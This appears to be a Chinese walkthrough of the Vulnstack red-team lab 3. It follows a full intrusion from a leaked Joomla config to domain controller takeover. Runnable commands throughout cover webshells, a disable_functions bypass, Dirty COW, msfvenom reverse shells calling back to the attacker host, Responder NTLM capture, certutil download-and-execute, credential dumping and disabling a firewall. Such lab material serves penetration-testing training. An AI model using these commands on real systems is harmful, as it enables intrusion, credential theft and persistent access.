前言
靶机详细信息
1 | http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ |
环境搭建
拓扑图
首先需要添加一个虚拟网卡 VMnet2
这里还将DHCP的起始ID地址设置成了192.168.93.5
。
然后安装拓扑图上的方式添加网卡即可。
还需要注意的就是,靶机web-centos
需要重启一下网卡才能获取到IP。
1 | ifdown eth0 # 禁用eth0网卡 |
全部虚拟机获取到的IP
Kali
1 | 192.168.10.179 |
Centos-web
1 | 外网:192.168.10.114 |
ubuntu-web
1 | 内网:192.168.93.120 |
win 7
1 | 内网:192.168.93.30 |
win server 2008
1 | 内网:192.168.93.20 |
win server 2012
1 | 内网:192.168.93.10 |
攻入内网
主机发现
1 | nmap -sn 192.168.10.0/24 |
在重置网卡的时候就已经知道了IP,这里扫也扫出来了,为192.168.10.114
。
端口扫描
1 | sudo nmap -sS -Pn -sV -v -p 1-65535 192.168.10.114 |
目标靶机开放了 22,80,3306
,直接访问 80端口
通过站点图标,可以知道是个 Joomla!
站点,这套源码存在许多的漏洞,需要继续信息收集,找到具体的版本号。
目录扫描
1 | python3 .\dirsearch.py -u "http://192.168.10.114/" |
在/configuration.php~
泄露了数据库登录信息
1 | public $user = 'testuser'; |
漏洞利用
尝试进行远程登录靶机的 mysql 数据库
成功登录mysql数据库。
在am2zu_users
表中可以发现,存储密码的password字段是经过加密的
这个密码如果拿去爆破,费时费力还不一定跑得出来,这里通过官方给得密码重置文档来手动添加一个用户,就是手动添加一个用户记录。
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
复制sql语句过来,还需要手动改一下表前缀,改为 am2zu
1 | INSERT INTO `am2zu_users` |
然后执行
得到的用户名密码为 admin2:secret
访问登录
1 | http://192.168.10.114/administrator/ |
成功进入后台
在 Extensions->Templates->Templates 处,可以对模板文件进行编辑。
接下来,在 index.php
中插入一句话木马
然后蚁剑添加 shell
1 | http://192.168.10.114/templates/beez3/index.php |
这里不知道什么原因,添加不上。
接下来,在模板编辑页面,重新创建一个文件
然后将冰蝎的shell 写进去
1 |
|
然后使用冰蝎客户端添加
可以列目录、上传文件、但是不能执行命令。
在phpinfo
页面中可以看到禁用了一些 执行命令的函数。
绕过disable_functions
如果蚁剑能连得上,那么直接用蚁剑自带的插件绕过更方便些。
这里我们使用蚁剑连接不上,所以只有手动绕过。
首先在github下载
1 | https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD |
将文件解压,通过冰蝎将bypass_disablefunc.php
和bypass_disablefunc_x64.so
上传到网站目录下
紧接着访问
1 | http://192.168.10.114//bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so |
已经是可以成功执行命令,这里已经算是得到了一个webshell,但是使用起来较为麻烦。
最开始,我想尝试通过该靶机执行一个 反弹shell的时候来控制靶机的时候,发现怎么都反弹不过来,后来才这个靶机的IP是内网IP,该主机的web服务器是通过 192.168.10.114
这台机器上的nginx
服务器进行转发的,我们也只能通过 nginx 服务器 来跟内网的web服务器进行通信,那么也可以通过该 webshell 做个简单的信息收集。
主机信息收集
根据网上给的wp,在 /tmp/mysql/
目录下 发现 test.txt
文件
1 | adduser wwwuser |
这个用户名密码192.168.10.114
这台靶机的登录口令。
接下来,我们通过xshell
连接上去。
成功连了上去,但是无法通过sudo
提权到 root。
接下来尝试进行提权。
提权
查看内核系统版本信息
1 | uname -a |
该靶机内核版本为 2.6.32-431.el6.x86_64
,系统为 CentOS release 6.5 (Final)
,低版本的系统存在 脏牛 通用提权漏洞。
首先下载提权脚本
1 | https://github.com/Rvn0xsy/linux_dirty/archive/refs/heads/master.zip |
解压后得到 一个 dirty.c
文件,将该文件上传到靶机的 /tmp
目录下
编译&执行
1 | gcc -pthread dirty.c -o dirty -lcrypt |
注意 在执行的时候,会对 /etc/passwd
文件做一个备份,会将备份文件放在 /tmp
目录下,文件名为passwd.bak
,但是当前靶机中已经存在一个 passwd.bak
的备份文件,执行前可以先删掉或者重命名这个文件。
接下来,查看一下passwd
下是否已经添加了 rooter
这个用户名
可以看到已经成功将root
替换成了rooter
这个用户名,这个用户名的密码也被替换成了Hello@World
,在提权脚本的README
中可以看到。
提权到 rooter
1 | su rooter |
提权成功
为了方便后续渗透,我们通过MSF生成一个反弹shell,在MSF中上线该靶机。
权限维持
MSF生成 Linux 后门
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.10.179 lport=9876 -f elf > shell9876 |
MSF开启监听
1 | use exploit/multi/handler |
接下来,将生成的木马上传到 靶机中运行
1 | # 赋予执行权限 |
MSF收到shell
MSF收到的shell 是为了方便后续做socks代理、横向移动等一些事情。
内网信息收集
首先查看一下本机的网卡
两张网卡,发现内网网段192.168.93.0
这里可以选择MSF的以下模块来进行内网主机发现
1 | auxiliary/scanner/discover/arp_sweep |
也可以使用 Nmap + proxychains4
进行扫描。
但是都不如直接上传fscan来扫的效率高,当然也需要考虑机器上是否杀软的情况。
1 | ./fscan_amd64 -h 192.168.93.0/24 |
通过 fscan 可以得到一些信息
1 | (icmp) Target 192.168.93.100 is alive |
通过以上信息,可以知道内网存活的主机、各个主机开放的端口、域控以及使用的操作系统还有mysql的弱口令。
内网的三台windows主机都开启了445端口,但是fscan
的扫描结果显示并不存在永恒之蓝漏洞,这里我们还是使用MSF 的 检测模块 进行再一次尝试。
横向移动准备
刚刚我们通过MSF上线了centos
的靶机,接下来,我们通过在MSF自带的模块在添加一条路由
1 | run post/multi/manage/autoroute |
这时候已经自动给我们添加通向内网网段的路由了。
开启socks5服务
再用auxiliary/server/socks_proxy
开启一个socks5服务
内网渗透:win2008
在使用fscan
对内网网段进行扫描的时候,已经发现内网的几台主机不存在永恒之蓝漏洞了。
192.168.93.10
的88
端口也没有任何可利用的点,192.168.93.20
的80
端口也是一样。
靶机192.168.93.20
还开启了1433
端口,使用最开始搜集到mysql
的用户名密码testuser:cvcvgjASD!@
尝试进行登录。
在物理机上使用Navicat
工具配置socks5代理进行连接
在工具->选项
可以成功连接上
尝试使用mssql执行命令
首先启用xp_cmdshell
1 | EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; |
提示没有权限,无法进一步利用。
NTLM Relay攻击
SMB
服务还有一种攻击方法,那就是 NTLM Relay攻击
,了解具体原理,看https://blog.csdn.net/whatday/article/details/107698383#t1 这篇文章,这里只写利用过程。
首先下载 responder
工具
1 | https://github.com/SpiderLabs/Responder |
上传至 centos
靶机中,执行
1 | python Responder.py -I eth1 -rv |
然后再MSF中,使用auxiliary/admin/mssql/mssql_ntlm_stealer
模块
1 | use auxiliary/admin/mssql/mssql_ntlm_stealer |
再回到 centos
靶机中
成功抓到了 win 2008 的 NTLM hash
1 | Administrator::WIN2008:1122334455667788:746E3F2D7EB3DDB6304D15B04E0D32E8:0101000000000000F3DE6739961AD9019214FF4776694A460000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000BEAB9161CC52D56AF03D7933BB8CE5D72D7FA0D284620B4D4240B1C1C3AB1D720000000000000000 |
这里可以用kali 中的 john
来爆破出 密码
1 | john hash.txt --wordlist=passwd.txt |
得到密码 123qwe!ASD
,爆破出这种密码,确实需要一本很强大的字典。
不仅仅是这一种方法,还有其他的利用办法,由于各种环境原因,但是我都没成功,放个链接。
https://blog.csdn.net/whatday/article/details/107698383#t6
拿到密码后 ,可以使用impacket
工具的 wmiexec.py
来执行命令
impacket下载地址
1 | https://github.com/fortra/impacket |
在kali下
1 | proxychains4 python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20' |
权限维持
接下来,远程下载一个MSF的反弹shell,然后执行。
1 | msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8899 -f exe > 8899.exe |
上传到 centos
靶机中
利用python在当前目录下 开启一个 HTTP服务
1 | python -m SimpleHTTPServer |
MSF开启监听
1 | set RHOST 192.168.93.20 |
远程下载并执行
1 | certutil -urlcache -split -f http://192.168.93.100:8000/8899.exe 8899.exe |
MSF收到shell
还不是 system
提权
一条命令提权
1 | getsystem |
主机信息收集
加载后渗透利用工具kiwi
1 | load kiwi |
获取用户登录凭据
1 | creds_kerberos |
成功抓取了 域控服务器的明文密码
1 | Administrator TEST.ORG zxcASDqw123!! |
内网渗透:域控服务器
依旧使用impacket
工具的 wmiexec.py
来执行命令
1 | proxychains4 python3 wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10' |
权限维持
接下来,还是老办法,远程下载一个MSF的反弹shell,然后执行。
1 | msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8899 -f exe > 8899.exe |
上传到 centos
靶机中
利用python在当前目录下 开启一个 HTTP服务
1 | python -m SimpleHTTPServer |
MSF开启监听
1 | set RHOST 192.168.93.10 |
远程下载并执行
1 | certutil -urlcache -split -f http://192.168.93.100:8000/8899.exe 8899.exe |
但是这里MSF未收到反弹shell,可能是开了防火墙的原因。
关闭防火墙
1 | netsh advfirewall set allprofiles state off |
MSF收到shell
开启远程桌面
1 | run post/windows/manage/enable_rdp |
在Documents
目录下找到 秘密文件
内网渗透:pc
192.168.93.30
这台靶机依旧可以使用 wmiexec.py
来执行命令,因为最终都是用MSF来管理,所以这里我们可以通过exploit/windows/smb/psexec
来获得一个shell。
1 | use exploit/windows/smb/psexec |
相关知识点
mssql渗透相关命令
mssql列目录
1 | execute master..xp_dirtree 'c:\',1,1 |
mssql查看版本
1 | select @@version |
sql server 2005版本以后默认关闭,需要开启后使用
启用xp_cmdshell
1 | EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; |
执行系统命令
1 | exec master..xp_cmdshell 'whoami' |
写入webshell
1 | exec master..xp_cmdshell 'echo ^<%eval request("x")%^> >e:\shell.aspx' |
主机信息收集
1 | uname -a # 获取所有版本信息 |
MSF开启全局代理
1 | setg proxies socks5:127.0.0.1:1080 |
参考文章
https://xz.aliyun.com/t/6988#toc-0 Vlunstack ATT&CK实战系列——红队实战(三)Writeup
https://blog.csdn.net/whatday/article/details/107698383 内网渗透测试:NTLM Relay攻击分析